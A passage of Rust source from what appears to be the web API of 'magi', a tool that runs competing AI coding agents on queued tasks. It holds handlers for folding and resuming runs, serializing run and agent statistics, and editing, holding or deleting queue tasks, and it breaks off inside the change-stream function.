2561async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2562    let (id, state) = {
2563        let ui = Arc::clone(&ui);
2564        blocking(move || {
2565            let id = resolve_run(&ui.runs, &id)?;
2566            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2567                return Err(ApiError::conflict(format!(
2568                    "run {id} is being worked on by a live daemon right now"
2569                )));
2570            }
2571            let state = read_run(&ui.runs, &id).ok();
2572            Ok((id, state))
2573        })
2574        .await?
2575    };
2576    let removed = match state {
2577        Some(mut state) => {
2578            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2579                .await
2580                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2581            // Nothing left to remove is not the same thing as nothing left to
2582            // do — see `clean::clear_abandoned_active`'s own doc for the run
2583            // this exists for: worktrees already gone, but a killed process
2584            // left active seats nobody will ever answer for.
2585            if removed.is_empty() {
2586                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2587                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2588            }
2589            removed
2590        }
2591        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2592            .await
2593            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2594    };
2595    Ok(Json(FoldView {
2596        run: id,
2597        removed_count: removed.len(),
2598        removed,
2599    }))
2600}
2601
2602/// What a fold took away, so the deck can say so rather than only re-render.
2603#[derive(Debug, Serialize)]
2604struct FoldView {
2605    run: String,
2606    /// Worktree paths and branch names removed, in the order they went.
2607    removed: Vec<String>,
2608    removed_count: usize,
2609}
2610
2611/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
2612/// merged outside of `land::land`'s own loop.
2613#[derive(Debug, Deserialize)]
2614struct FoldMergedBody {
2615    #[serde(default)]
2616    pr_url: String,
2617}
2618
2619/// `POST /api/runs/{id}/fold-merged`.
2620///
2621/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
2622/// `Blocked` with `merge: null` because magi never got as far as opening a
2623/// pull request of its own (a title over GitHub's length limit, `gh pr
2624/// create` unreachable, a stale token), which the operator then finished by
2625/// hand on a pull request magi never recorded. The "Run actions" sheet used
2626/// to have no way to tell it about that pull request short of a terminal and
2627/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
2628/// this exists and what it deliberately does not do (`bump::after_merge`).
2629///
2630/// Refused, like [`run_fold`], while a live daemon is working on the run: the
2631/// correction rewrites the same `status`/`merge` fields a running graph would
2632/// be writing to on its own.
2633///
2634/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
2635/// calls plus a fold, seconds of work, and the phone should get its answer
2636/// (which pull request it recorded, and what changed) in the same round
2637/// trip rather than learning it from the change stream.
2638async fn run_fold_merged(
2639    State(ui): State<Arc<Ui>>,
2640    Path(id): Path<String>,
2641    Json(body): Json<FoldMergedBody>,
2642) -> ApiResult<Json<FoldMergedView>> {
2643    let pr_url = body.pr_url.trim().to_owned();
2644    if pr_url.is_empty() {
2645        return Err(ApiError::bad_request("pr_url is required"));
2646    }
2647    let (id, mut state) = {
2648        let ui = Arc::clone(&ui);
2649        blocking(move || {
2650            let id = resolve_run(&ui.runs, &id)?;
2651            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2652                return Err(ApiError::conflict(format!(
2653                    "run {id} is being worked on by a live daemon right now"
2654                )));
2655            }
2656            let state = read_run(&ui.runs, &id)?;
2657            Ok((id, state))
2658        })
2659        .await?
2660    };
2661    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2662        .await
2663        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2664    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2665        .await
2666        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2667    Ok(Json(FoldMergedView {
2668        run: id,
2669        before: before.as_str().to_owned(),
2670        after: after.as_str().to_owned(),
2671        removed,
2672    }))
2673}
2674
2675/// What [`run_fold_merged`] did, so the deck can say so.
2676#[derive(Debug, Serialize)]
2677struct FoldMergedView {
2678    run: String,
2679    /// `status` before the correction — normally `"blocked"`.
2680    before: String,
2681    /// `status` after — normally `"merged"`.
2682    after: String,
2683    /// Worktree paths and branch names the trailing fold removed.
2684    removed: Vec<String>,
2685}
2686
2687/// `POST /api/runs/{id}/resume`.
2688///
2689/// Carry a stalled run on from where it stopped, in the background.
2690///
2691/// A stalled card says "the work is kept" and used to offer no way to act on
2692/// that: the candidates are built and paid for, and continuing means re-asking
2693/// only the seats whose absence collapsed the panel. The alternative an
2694/// operator actually had was releasing the task, which competes three fresh
2695/// implementations against work that already exists.
2696///
2697/// **202, not 200.** A resume runs agents for minutes; holding the connection
2698/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
2699/// phone learns the outcome from the change stream.
2700///
2701/// Refused when the loop is running at all, not merely when it is on this run.
2702/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2703/// started a second graph on top of whatever the loop is already driving —
2704/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2705/// allows — would spend that quota twice over for no extra throughput.
2706async fn run_resume(
2707    State(ui): State<Arc<Ui>>,
2708    Path(id): Path<String>,
2709) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2710    let (id, state) = {
2711        let ui = Arc::clone(&ui);
2712        blocking(move || {
2713            let id = resolve_run(&ui.runs, &id)?;
2714            let state = read_run(&ui.runs, &id)?;
2715            Ok((id, state))
2716        })
2717        .await?
2718    };
2719    if let Some(to) = &state.released_to {
2720        return Err(ApiError::conflict(format!(
2721            "run {} can no longer be resumed: its worktree was released to run {}, which \
2722             took the branch over.",
2723            state.short(),
2724            crate::run::short_of(to)
2725        )));
2726    }
2727    if !state.status.resumable() {
2728        return Err(ApiError::conflict(format!(
2729            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2730            state.short(),
2731            status_word(state.status)
2732        )));
2733    }
2734    // Refused whenever the loop is running anything at all, not merely when
2735    // it is on this run: a manual resume racing a loop-driven run over the
2736    // same agent quota is the thing this guard exists to prevent, whether
2737    // the loop's own concurrency is one run or several.
2738    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2739        .into_iter()
2740        .next()
2741    {
2742        return Err(ApiError::conflict(format!(
2743            "the loop is running run {} right now; stop it first, or wait for \
2744             it to finish, before resuming a run by hand.",
2745            crate::run::short_of(&work.run)
2746        )));
2747    }
2748    let _resume = ui.begin_resume(&id)?;
2749
2750    // The same shape the list route returns, so the phone updates the card it
2751    // already has rather than learning a second schema for one button.
2752    let queued = RunSummary::of(
2753        &state,
2754        !ui.questions.open_for(&id).is_empty(),
2755        state.liveness(false),
2756    );
2757    let run = id.clone();
2758    tokio::spawn(async move {
2759        let _resume = _resume;
2760        match crate::graph::Runner::resume(&run) {
2761            Ok(mut runner) => {
2762                if let Err(e) = runner.execute().await {
2763                    tracing::warn!("resume of run {run} stopped: {e:#}");
2764                }
2765            }
2766            // The run's own record is what the phone reads; this line is for
2767            // the operator's terminal.
2768            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2769        }
2770    });
2771    Ok((StatusCode::ACCEPTED, Json(queued)))
2772}
2773
2774async fn run_report(
2775    State(ui): State<Arc<Ui>>,
2776    Path(id): Path<String>,
2777) -> ApiResult<impl IntoResponse> {
2778    let text = blocking(move || {
2779        let id = resolve_run(&ui.runs, &id)?;
2780        // Colour is off for the whole process, set once in `serve`. Rendering
2781        // is CPU work over the full state, which is the other reason this is
2782        // not on the executor.
2783        let state = read_run(&ui.runs, &id)?;
2784        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2785        let live = state.liveness(daemon_claims);
2786        Ok(format!(
2787            "{}{}",
2788            report::run(&state),
2789            report::active_seats(&state, live)
2790        ))
2791    })
2792    .await?;
2793    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2794}
2795
2796/// A task as the UI sees it.
2797///
2798/// The whole task, plus the two things the client would otherwise have to
2799/// reimplement: the human-readable source and the status string. Nothing is
2800/// removed - the phone shows `last_error` and the run history verbatim.
2801#[derive(Debug, Serialize)]
2802struct TaskView {
2803    #[serde(flatten)]
2804    task: Task,
2805    source_label: String,
2806    status_str: &'static str,
2807    /// The instruction, parsed as markdown, for the Queue card's "Full
2808    /// instruction" panel. `task.instruction` is unchanged and still carries
2809    /// the raw text.
2810    instruction_md: Vec<md::Node>,
2811    /// For a blocked task, what it waits on with each dependency's state, e.g.
2812    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
2813    /// recurses; empty for every other status.
2814    waits_on: Vec<String>,
2815    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
2816    /// behind - non-empty means nothing in the loop will ever run it.
2817    stuck_roots: Vec<String>,
2818}
2819
2820impl From<Task> for TaskView {
2821    fn from(task: Task) -> Self {
2822        Self {
2823            source_label: task.source.label(),
2824            status_str: task.status.as_str(),
2825            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2826            waits_on: Vec::new(),
2827            stuck_roots: Vec::new(),
2828            task,
2829        }
2830    }
2831}
2832
2833impl TaskView {
2834    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2835        let waits_on = inv.waits_on(&task);
2836        let stuck_roots = inv
2837            .stuck_roots(&task)
2838            .iter()
2839            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2840            .collect();
2841        Self {
2842            waits_on,
2843            stuck_roots,
2844            ..Self::from(task)
2845        }
2846    }
2847}
2848
2849/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2850/// its absence, leaves the cache to decide.
2851#[derive(Debug, Default, Deserialize)]
2852#[serde(default)]
2853struct ReposQuery {
2854    refresh: u8,
2855}
2856
2857/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
2858/// listing `magi repos` prints at a terminal.
2859///
2860/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
2861/// so an edit to `magi.toml` takes effect without a restart, the same
2862/// reasoning [`config_for`] documents for the talk routes.
2863async fn repos_list(
2864    State(ui): State<Arc<Ui>>,
2865    Query(q): Query<ReposQuery>,
2866) -> ApiResult<Json<Vec<repos::Repo>>> {
2867    let refresh = q.refresh != 0;
2868    blocking(move || {
2869        let (cfg, _) = Config::discover(&ui.repo, None)?;
2870        Ok(Json(ui.repos_cache.list(
2871            &cfg.repos.roots,
2872            Duration::from_secs(cfg.repos.scan_ttl),
2873            refresh,
2874        )))
2875    })
2876    .await
2877}
2878
2879async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2880    blocking(move || {
2881        let tasks = ui.queue.list();
2882        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2883        Ok(Json(
2884            tasks
2885                .into_iter()
2886                .map(|t| TaskView::with_inventory(t, &inv))
2887                .collect(),
2888        ))
2889    })
2890    .await
2891}
2892
2893/// A rate together with its denominator, so the client can tell "computed as
2894/// 0%" apart from "no data to compute it from" — both would otherwise
2895/// serialize as `0.0`. `None` means the denominator was zero.
2896#[derive(Debug, Serialize)]
2897struct RateView {
2898    pct: f64,
2899    denominator: usize,
2900}
2901
2902impl RateView {
2903    fn of(numerator: usize, denominator: usize) -> Option<Self> {
2904        (denominator > 0).then(|| Self {
2905            pct: 100.0 * numerator as f64 / denominator as f64,
2906            denominator,
2907        })
2908    }
2909}
2910
2911/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
2912/// rates, each paired with its own denominator via [`RateView`] rather than
2913/// exposing `Stats`' own percentage methods directly — see this module's
2914/// doc for why `Stats` itself is never serialized.
2915#[derive(Debug, Serialize)]
2916struct StatsTotalsView {
2917    runs: usize,
2918    merged: usize,
2919    ready: usize,
2920    blocked: usize,
2921    failed: usize,
2922    stalled: usize,
2923    verified_noop: usize,
2924    superseded: usize,
2925    in_progress: usize,
2926    completion_rate: Option<RateView>,
2927    tallied: usize,
2928    split: usize,
2929    split_rate: Option<RateView>,
2930    deliberated: usize,
2931    minds_changed: usize,
2932    converged: usize,
2933    review_rounds: usize,
2934}
2935
2936impl From<&stats::Totals> for StatsTotalsView {
2937    fn from(t: &stats::Totals) -> Self {
2938        Self {
2939            runs: t.runs,
2940            merged: t.merged,
2941            ready: t.ready,
2942            blocked: t.blocked,
2943            failed: t.failed,
2944            stalled: t.stalled,
2945            verified_noop: t.verified_noop,
2946            superseded: t.superseded,
2947            in_progress: t.in_progress,
2948            completion_rate: RateView::of(t.merged + t.ready, t.runs),
2949            tallied: t.tallied,
2950            split: t.split,
2951            split_rate: RateView::of(t.split, t.tallied),
2952            deliberated: t.deliberated,
2953            minds_changed: t.minds_changed,
2954            converged: t.converged,
2955            review_rounds: t.review_rounds,
2956        }
2957    }
2958}
2959
2960/// [`crate::stats::AgentStats`] for the wire.
2961#[derive(Debug, Serialize)]
2962struct AgentStatsView {
2963    agent: String,
2964    entered: usize,
2965    wins: usize,
2966    empty: usize,
2967    win_rate: Option<RateView>,
2968}
2969
2970impl From<&stats::AgentStats> for AgentStatsView {
2971    fn from(a: &stats::AgentStats) -> Self {
2972        Self {
2973            agent: a.agent.clone(),
2974            entered: a.entered,
2975            wins: a.wins,
2976            empty: a.empty,
2977            win_rate: RateView::of(a.wins, a.entered),
2978        }
2979    }
2980}
2981
2982/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
2983/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
2984/// value, `None` when `rounds` is zero.
2985#[derive(Debug, Serialize)]
2986struct ReviewerStatsView {
2987    agent: String,
2988    rounds: usize,
2989    seated: usize,
2990    submitted: usize,
2991    adopted: usize,
2992    unique: usize,
2993    timeouts: usize,
2994    adopted_per_round: Option<f64>,
2995    precision: Option<RateView>,
2996    unique_rate: Option<RateView>,
2997    timeout_rate: Option<RateView>,
2998}
2999
3000impl From<&stats::ReviewerStats> for ReviewerStatsView {
3001    fn from(r: &stats::ReviewerStats) -> Self {
3002        Self {
3003            agent: r.agent.clone(),
3004            rounds: r.rounds,
3005            seated: r.seated,
3006            submitted: r.submitted,
3007            adopted: r.adopted,
3008            unique: r.unique,
3009            timeouts: r.timeouts,
3010            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3011            precision: RateView::of(r.adopted, r.submitted),
3012            unique_rate: RateView::of(r.unique, r.submitted),
3013            timeout_rate: RateView::of(r.timeouts, r.seated),
3014        }
3015    }
3016}
3017
3018/// [`crate::stats::AdvisorStats`] for the wire.
3019///
3020/// `reflection_rate` is approximate by construction — see
3021/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
3022/// that caveat is static text in `index.html`, not a field here.
3023#[derive(Debug, Serialize)]
3024struct AdvisorStatsView {
3025    agent: String,
3026    seated: usize,
3027    proposed: usize,
3028    absent: usize,
3029    faint: usize,
3030    strong: usize,
3031    reflection_rate: Option<RateView>,
3032}
3033
3034impl From<&stats::AdvisorStats> for AdvisorStatsView {
3035    fn from(a: &stats::AdvisorStats) -> Self {
3036        Self {
3037            agent: a.agent.clone(),
3038            seated: a.seated,
3039            proposed: a.proposed,
3040            absent: a.absent,
3041            faint: a.faint,
3042            strong: a.strong,
3043            reflection_rate: RateView::of(a.strong, a.proposed),
3044        }
3045    }
3046}
3047
3048/// [`crate::stats::E2eStats`] for the wire.
3049#[derive(Debug, Serialize)]
3050struct E2eStatsView {
3051    rounds: usize,
3052    failures: usize,
3053    sole_detections: usize,
3054    deferred: usize,
3055    sole_rate: Option<RateView>,
3056}
3057
3058impl From<&stats::E2eStats> for E2eStatsView {
3059    fn from(e: &stats::E2eStats) -> Self {
3060        Self {
3061            rounds: e.rounds,
3062            failures: e.failures,
3063            sole_detections: e.sole_detections,
3064            deferred: e.deferred,
3065            sole_rate: RateView::of(e.sole_detections, e.failures),
3066        }
3067    }
3068}
3069
3070/// [`crate::stats::ReleaseBumpStats`] for the wire.
3071///
3072/// `clean` is sent as a raw count, computed the same way
3073/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
3074/// needs_attention`) — never derived client-side from `automerge_enabled`,
3075/// which would misclassify a `merged_directly` bump (automerge rejected, but
3076/// magi merged it directly, so no human involvement) as needing attention.
3077#[derive(Debug, Serialize)]
3078struct ReleaseBumpStatsView {
3079    merged: usize,
3080    recorded: usize,
3081    pr_opened: usize,
3082    automerge_enabled: usize,
3083    merged_directly: usize,
3084    needs_attention: usize,
3085    clean: usize,
3086    coverage_rate: Option<RateView>,
3087    automerge_rate: Option<RateView>,
3088    attention_rate: Option<RateView>,
3089}
3090
3091impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3092    fn from(b: &stats::ReleaseBumpStats) -> Self {
3093        Self {
3094            merged: b.merged,
3095            recorded: b.recorded,
3096            pr_opened: b.pr_opened,
3097            automerge_enabled: b.automerge_enabled,
3098            merged_directly: b.merged_directly,
3099            needs_attention: b.needs_attention,
3100            clean: b.clean(),
3101            coverage_rate: RateView::of(b.recorded, b.merged),
3102            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3103            attention_rate: RateView::of(b.needs_attention, b.recorded),
3104        }
3105    }
3106}
3107
3108/// [`crate::queue::TaskCounts`] for the wire.
3109#[derive(Debug, Serialize)]
3110struct TaskCountsView {
3111    queued: usize,
3112    running: usize,
3113    done: usize,
3114    failed: usize,
3115    held: usize,
3116    blocked: usize,
3117}
3118
3119impl From<crate::queue::TaskCounts> for TaskCountsView {
3120    fn from(c: crate::queue::TaskCounts) -> Self {
3121        Self {
3122            queued: c.queued,
3123            running: c.running,
3124            done: c.done,
3125            failed: c.failed,
3126            held: c.held,
3127            blocked: c.blocked,
3128        }
3129    }
3130}
3131
3132/// [`crate::stats::RepoStats`] for the wire, one row per repository with
3133/// runs recorded — the summary the UI's repository selector is built from.
3134/// Carries no nested `Stats`: picking a repo means re-fetching
3135/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
3136/// aggregation rather than duplicating it.
3137#[derive(Debug, Serialize)]
3138struct RepoSummaryView {
3139    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
3140    /// against, full path and all (see [`stats_get`]'s own doc for why).
3141    repo: String,
3142    /// Display name only; never used for matching.
3143    name: String,
3144    runs: usize,
3145    completion_rate: Option<RateView>,
3146}
3147
3148impl From<&stats::RepoStats> for RepoSummaryView {
3149    fn from(r: &stats::RepoStats) -> Self {
3150        let t = &r.stats.totals;
3151        Self {
3152            repo: r.repo.to_string_lossy().into_owned(),
3153            name: r.name.clone(),
3154            runs: t.runs,
3155            completion_rate: RateView::of(t.merged + t.ready, t.runs),
3156        }
3157    }
3158}
3159
3160/// `GET /api/stats` - the whole answer. `Stats` itself carries no
3161/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
3162/// renders from them) are free to grow without that becoming a wire-contract
3163/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
3164/// data" from "computed and it really is zero" the way [`RateView`] does.
3165#[derive(Debug, Serialize)]
3166struct StatsView {
3167    totals: StatsTotalsView,
3168    /// Best win rate first, as [`stats::collect`] already sorts it.
3169    agents: Vec<AgentStatsView>,
3170    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
3171    reviewers: Vec<ReviewerStatsView>,
3172    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
3173    advisors: Vec<AdvisorStatsView>,
3174    e2e: E2eStatsView,
3175    release_bumps: ReleaseBumpStatsView,
3176    queue: TaskCountsView,
3177    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
3178    /// that field's doc. Asserted to match it in
3179    /// `stats_runs_unreadable_matches_health`.
3180    ///
3181    /// Always the whole-workload count, even when `repo` narrows every other
3182    /// field to one repository - an unreadable `run.json` carries no `repo`
3183    /// a per-repository count could attribute it to, and the queue/health
3184    /// views this mirrors never scope it either. The UI must not present it
3185    /// as if it were scoped to the selected repository.
3186    runs_unreadable: usize,
3187    /// Every repository with runs recorded, most runs first - what the UI's
3188    /// repository selector is built from. Always the full list regardless of
3189    /// `repo`, so switching repositories never needs a second request.
3190    repos: Vec<RepoSummaryView>,
3191    /// The `?repo=` value this response was narrowed to, echoed back so the
3192    /// UI can confirm its selection round-tripped. `None` for the aggregate,
3193    /// all-repositories view.
3194    repo: Option<String>,
3195}
3196
3197/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
3198/// repository. Matched by full-path equality against `RunState.repo` only
3199/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
3200/// `--repo` is, because the value here always came from this same route's
3201/// own `repos` list in an earlier response, never typed by a human. A value
3202/// matching no run is a 404, not an empty aggregate: the caller asked for a
3203/// specific, named repository, and silently returning zeroes would look
3204/// exactly like a repository that has runs but none of interest.
3205#[derive(Debug, Default, Deserialize)]
3206#[serde(default)]
3207struct StatsQuery {
3208    repo: Option<String>,
3209}
3210
3211/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
3212/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
3213/// runs when `?repo=` narrows it), the same counting logic `magi stats`
3214/// prints from. Reads every readable run on disk, exactly as
3215/// [`runs_unreadable`] does, so the two counts can never drift apart the way
3216/// a separately-maintained tally could.
3217async fn stats_get(
3218    State(ui): State<Arc<Ui>>,
3219    Query(q): Query<StatsQuery>,
3220) -> ApiResult<Json<StatsView>> {
3221    blocking(move || {
3222        let states: Vec<RunState> = run_ids(&ui.runs)
3223            .into_iter()
3224            .filter_map(|id| read_run(&ui.runs, &id).ok())
3225            .collect();
3226        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
3227            .iter()
3228            .map(RepoSummaryView::from)
3229            .collect();
3230        let collected = match &q.repo {
3231            Some(repo) => {
3232                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
3233                if filtered.is_empty() {
3234                    return Err(ApiError::not_found(format!(
3235                        "no runs recorded against repo `{repo}`"
3236                    )));
3237                }
3238                stats::collect_refs(filtered)
3239            }
3240            None => stats::collect(&states),
3241        };
3242        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3243        Ok(Json(StatsView {
3244            totals: StatsTotalsView::from(&collected.totals),
3245            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3246            reviewers: collected
3247                .reviewers
3248                .iter()
3249                .map(ReviewerStatsView::from)
3250                .collect(),
3251            advisors: collected
3252                .advisors
3253                .iter()
3254                .map(AdvisorStatsView::from)
3255                .collect(),
3256            e2e: E2eStatsView::from(&collected.e2e),
3257            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3258            queue: TaskCountsView::from(queue_counts),
3259            runs_unreadable: runs_unreadable(&ui.runs),
3260            repos,
3261            repo: q.repo.clone(),
3262        }))
3263    })
3264    .await
3265}
3266
3267/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
3268/// gives no reason - which must keep working, since not every hold has one.
3269#[derive(Debug, Default, Deserialize)]
3270#[serde(default, deny_unknown_fields)]
3271struct HoldBody {
3272    reason: Option<String>,
3273}
3274
3275async fn queue_hold(
3276    State(ui): State<Arc<Ui>>,
3277    Path(id): Path<String>,
3278    body: std::result::Result<Json<HoldBody>, JsonRejection>,
3279) -> ApiResult<Json<TaskView>> {
3280    // An absent body is the ordinary case - most holds are unexplained, and
3281    // that has to stay a one-tap action rather than a form. A body that is
3282    // present and malformed is still a bad request.
3283    let body = match body {
3284        Ok(Json(body)) => body,
3285        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3286        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3287    };
3288    let reason = body.reason.filter(|r| !r.trim().is_empty());
3289    mutate(ui, id, move |t| {
3290        t.hold_manual(reason.clone());
3291        Ok(())
3292    })
3293    .await
3294}
3295
3296async fn queue_release(
3297    State(ui): State<Arc<Ui>>,
3298    Path(id): Path<String>,
3299) -> ApiResult<Json<TaskView>> {
3300    mutate(ui, id, |t| {
3301        t.release();
3302        Ok(())
3303    })
3304    .await
3305}
3306
3307/// The body of `POST /api/queue/{id}/priority`.
3308#[derive(Debug, Deserialize)]
3309#[serde(deny_unknown_fields)]
3310struct PriorityBody {
3311    priority: i32,
3312}
3313
3314/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
3315///
3316/// [`Task::set_priority`] is the one place the "not while running" rule is
3317/// stated; this route only carries the body to it and lets its `Err` become
3318/// the 4xx the card shows.
3319async fn queue_priority(
3320    State(ui): State<Arc<Ui>>,
3321    Path(id): Path<String>,
3322    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3323) -> ApiResult<Json<TaskView>> {
3324    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3325    mutate(ui, id, move |t| t.set_priority(body.priority)).await
3326}
3327
3328/// The body of `POST /api/queue/{id}/edit`.
3329#[derive(Debug, Deserialize)]
3330#[serde(deny_unknown_fields)]
3331struct EditBody {
3332    title: String,
3333    instruction: String,
3334}
3335
3336/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
3337/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
3338/// that refusal's message is what the sheet shows back.
3339async fn queue_edit(
3340    State(ui): State<Arc<Ui>>,
3341    Path(id): Path<String>,
3342    body: std::result::Result<Json<EditBody>, JsonRejection>,
3343) -> ApiResult<Json<TaskView>> {
3344    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3345    mutate(ui, id, move |t| {
3346        t.edit(body.title.clone(), body.instruction.clone())
3347    })
3348    .await
3349}
3350
3351/// `POST /api/queue/{id}/done` - close a task as finished without deleting
3352/// it, so the phone's other way to clear a task from the backlog does not
3353/// have to cost the run history, the attribution, and `created_at` the way
3354/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
3355/// can be marked done by hand, because this is for the run the loop never
3356/// saw land - a merge done by hand, or a gate that misreported - and that can
3357/// happen from any status the task was left in.
3358async fn queue_done(
3359    State(ui): State<Arc<Ui>>,
3360    Path(id): Path<String>,
3361) -> ApiResult<Json<TaskView>> {
3362    let home = ui.home.clone();
3363    mutate(ui, id, move |t| {
3364        t.succeed();
3365        // Same as the loop's own settle path: closing a task by hand is just
3366        // as much "this task's story is over" as a daemon-driven `Merged`/
3367        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
3368        // behind must stop looking like it still needs a human. `ui.home`,
3369        // not the process-global `run::home()`: they agree in a real
3370        // process, but only `ui.home` also agrees with a test fixture's own
3371        // directory.
3372        crate::daemon::supersede_prior_runs(t, &home);
3373        Ok(())
3374    })
3375    .await
3376}
3377
3378/// `DELETE /api/queue/{id}`.
3379///
3380/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
3381/// names this task: a `running` status or an orphaned `.lock` left behind by a
3382/// killed daemon is a leftover, and treating either as authority made the
3383/// task undeletable from the phone for good. The associated runs, if any, are
3384/// kept: a run is self-contained history and not an appendage of the task.
3385async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3386    blocking(move || {
3387        let id = resolve_task(&ui.queue, &id)?;
3388        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3389        ui.queue
3390            .remove(&id, in_flight, &ui.questions)
3391            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3392        Ok(StatusCode::NO_CONTENT)
3393    })
3394    .await
3395}
3396
3397/// Read a task, change it, write it back, under the queue's own lock.
3398///
3399/// Taking the same claim a daemon takes is what makes hold, release,
3400/// priority, edit, and done safe to press while magi is running: without it
3401/// the daemon's next save would land on top of the operator's change and
3402/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
3403/// both do, for a running task - and that refusal becomes the 4xx the card
3404/// shows, same as any other domain rule.
3405async fn mutate(
3406    ui: Arc<Ui>,
3407    id: String,
3408    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3409) -> ApiResult<Json<TaskView>> {
3410    blocking(move || {
3411        let id = resolve_task(&ui.queue, &id)?;
3412        // `claim` fails when the lock file already exists, which is the
3413        // conflict the UI must report: the daemon owns that task's file for
3414        // as long as it is running it, and our write would be lost under its
3415        // next save. The message names the lock either way.
3416        let _claim = ui.queue.claim(&id).map_err(|e| {
3417            ApiError::conflict(format!(
3418                "{e:#} - a daemon is running this task, so it cannot be \
3419                 changed from here yet"
3420            ))
3421        })?;
3422        let mut task = ui.queue.get(&id)?;
3423        change(&mut task).map_err(ApiError::bad_request_from)?;
3424        ui.queue.put(&mut task)?;
3425        Ok(Json(TaskView::from(task)))
3426    })
3427    .await
3428}
3429
3430/// The change stream: one revision number per store, on connect and whenever
3431/// any of them moves.
3432///
3433/// The poll runs in one spawned task per client, which is affordable because
3434/// the work is a directory scan and a `stat` per file. It stops as soon as the
3435/// receiver is gone, so a phone that walks out of range costs nothing after
3436/// its next tick - there is no session and no cleanup to forget.
3437async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3438    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3439    tokio::spawn(async move {
3440        let mut ticker = tokio::time::interval(POLL);
3441        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3442        loop {
3443            // The first tick completes immediately, which is what makes the
3444            // stream announce the current revisions on connect.
3445            ticker.tick().await;
3446            let state = Arc::clone(&ui);
3447            let revisions = tokio::task::spawn_blocking(move || {
3448                (
3449                    state.queue.revision(),
3450                    runs_revision(&state.runs),
3451                    state.questions.revision(),
3452                    state.talks.revision(),
3453                    state.notices.revision(),
3454                    // The loop's counter is in-process state rather than a
3455                    // file, so nothing the three stats above look at would
3456                    // tell this phone that another one started the loop.
3457                    state.lock_loop().rev,
3458                )
3459            })
3460            .await;
3461            let Ok(revisions) = revisions else { break };
